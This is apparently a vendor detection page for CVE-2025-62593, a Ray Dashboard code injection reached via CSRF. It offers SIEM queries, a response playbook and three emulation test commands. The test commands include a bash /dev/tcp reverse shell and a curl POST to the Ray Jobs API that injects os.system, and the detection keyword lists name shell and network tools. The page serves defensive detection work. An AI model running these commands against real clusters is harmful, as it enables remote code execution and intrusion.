CVE-2025-62593

Ray Dashboard Code Injection via CSRF (CVE-2025-62593)

Detects exploitation of CVE-2025-62593, a code injection vulnerability in the Ray-Project Ray distributed compute framework. The Ray Dashboard/Jobs API accepts job submissions that execute arbitrary code on cluster nodes; combined with cross-site request forgery (CWE-352) and unsafe code injection (CWE-94), an attacker can force job submissions that run attacker-controlled Python/shell code as the Ray worker or head-node user. This detection surfaces anomalous Ray Job Submission API calls, unexpected child processes spawned from Ray worker/raylet processes, and network callbacks originating from Ray nodes. CVE-2025-62593 is listed in the CISA KEV catalog.

Vulnerability Intelligence

KEV — Known Exploited

What is CVE-2025-62593 Ray Dashboard Code Injection via CSRF (CVE-2025-62593)?

Ray Dashboard Code Injection via CSRF (CVE-2025-62593) (CVE-2025-62593) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Ray Dashboard Code Injection via CSRF (CVE-2025-62593), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Process Creation Events. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement
Microsoft Sentinel / Defender
kusto
let RayProcs = dynamic(["raylet","gcs_server","ray","python","default_worker.py"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("raylet", "gcs_server", "python", "python3") or InitiatingProcessCommandLine has_any ("ray::", "default_worker.py", "ray.job")
| where FileName in~ ("bash","sh","powershell.exe","pwsh","cmd.exe","curl","wget","nc","ncat","python","python3")
| where ProcessCommandLine has_any ("-c", "base64", "curl", "wget", "/dev/tcp/", "socket", "import os", "subprocess", "eval(", "exec(")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessRemoteSessionIP
| order by Timestamp desc

Flags suspicious child processes (shells, network tools, inline interpreters) spawned by Ray raylet/worker processes, indicating code injection through the Ray Jobs API.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint Process Creation Events

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate Ray tasks that invoke subprocesses (e.g., data pipelines that shell out to native tools).
  • ML workloads that spawn Python subprocesses for distributed training.
  • Administrative or CI jobs submitted intentionally through the Ray Jobs API.

Sigma rule & cross-platform mapping

The detection logic for Ray Dashboard Code Injection via CSRF (CVE-2025-62593) (CVE-2025-62593) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated Ray worker spawning reverse-shell child process

    Expected signal: Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.

  2. Test 2Ray job code-injection simulation via inline Python

    Expected signal: Python process with command line containing 'import os' and 'subprocess' launching curl.

  3. Test 3Anomalous Ray Jobs API submission (CSRF style)

    Expected signal: HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.


Response Playbook

Triage

  1. Confirm the alerting host is a Ray cluster node (head or worker) and identify the Ray version to determine if it is within the vulnerable range per GHSA-q279-jhrf-cc6v.
  2. Review the Ray Dashboard / Jobs API access logs (default port 8265) around the alert time for unexpected job submissions, unknown source IPs, or requests lacking a valid Referer/Origin (CSRF indicator).
  3. Inspect the full command line of the child process spawned by the raylet/worker to determine whether it executes attacker-controlled code (reverse shells, base64 payloads, curl/wget to external hosts).
  4. Correlate the spawning user account and node identity to establish whether execution matches any authorized job submission.

Containment

  1. Isolate the affected Ray node(s) from the network to stop lateral movement and further job execution.
  2. Block external access to the Ray Dashboard/Jobs API (port 8265) at the network boundary and disable anonymous job submission until patched.
  3. Kill malicious child processes and revoke any credentials or tokens exposed on the compromised node.

Evidence Collection

  1. Capture the Ray Dashboard/Jobs API access logs, raylet logs, and job submission payloads (job driver scripts) for the incident window.
  2. Collect process creation telemetry, the malicious command lines, and any dropped files or scripts from the affected node.
  3. Preserve network connection logs showing outbound callbacks from Ray nodes to external IPs.

Escalation Criteria

  • ! Escalate to incident response if a reverse shell, data exfiltration, or lateral movement from the Ray node is confirmed.
  • ! Escalate if the Ray head node or nodes holding sensitive datasets/credentials are affected, or if the API was exposed to the internet.

Investigation Guide

Forensic Artifacts

  • > Ray Dashboard/Jobs API access logs (port 8265) and raylet/gcs_server logs.
  • > Submitted job driver scripts and job metadata under the Ray temp/session directory (/tmp/ray/session_*).
  • > Process creation records showing raylet/worker parent with shell/interpreter children.

Tuning Guidance

Baseline the normal set of subprocesses spawned by your Ray workloads (many legitimately call curl/wget or Python subprocesses). Add known-good job driver hashes, internal registry IPs, and sanctioned data-tool binaries to an allowlist. Restrict the alert to nodes where the Ray Dashboard/Jobs API is network-reachable, and raise severity when the child process makes outbound connections to public IPs or the API request lacked a valid Origin/Referer header.


Hunting Queries

Hunts for outbound network connections from Ray processes to public IP addresses, indicating C2 or exfiltration from an injected job.

Hunting — KQL
kql
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("raylet","python","python3") | where RemoteIPType == "Public" | summarize count() by DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine
Hunting — SPL
spl
index=edr (parent_process_name IN ("raylet","python","python3")) dest_ip=* | where NOT cidrmatch("10.0.0.0/8", dest_ip) AND NOT cidrmatch("172.16.0.0/12", dest_ip) | stats count by host, dest_ip, dest_port, process

Atomic Red Team Tests

Test 1 Simulated Ray worker spawning reverse-shell child process
linux

Emulates a Ray raylet/worker process launching a shell with an inline command, mimicking code injection via the Jobs API.

Command

bash
cp /bin/bash /tmp/raylet && /tmp/raylet -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" 2>/dev/null; echo 'simulated raylet child spawn'

Cleanup

bash
rm -f /tmp/raylet

Expected Telemetry

Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.

Expected Detection

KQL/EQL/CQL rules match on raylet parent + shell child with /dev/tcp/ in command line.

Test 2 Ray job code-injection simulation via inline Python
linux

Simulates an injected Ray job that executes OS commands through Python subprocess, as would occur from a malicious job submission.

Command

bash
python3 -c "import os,subprocess; subprocess.run(['curl','-s','http://127.0.0.1/injected'])" ; echo 'simulated injected job'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Python process with command line containing 'import os' and 'subprocess' launching curl.

Expected Detection

Detection matches Python/subprocess + curl child process pattern.

Test 3 Anomalous Ray Jobs API submission (CSRF style)
linux

Sends a job submission to the local Ray Jobs API without an Origin header, emulating a CSRF-driven code-injection request.

Command

bash
curl -s -X POST http://127.0.0.1:8265/api/jobs/ -H 'Content-Type: application/json' -d '{"entrypoint":"python -c \"import os;os.system(id)\""}' ; echo 'simulated job submit'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.

Expected Detection

Web/proxy logs and subsequent process-spawn detections correlate the API submission with node code execution.

Related Detections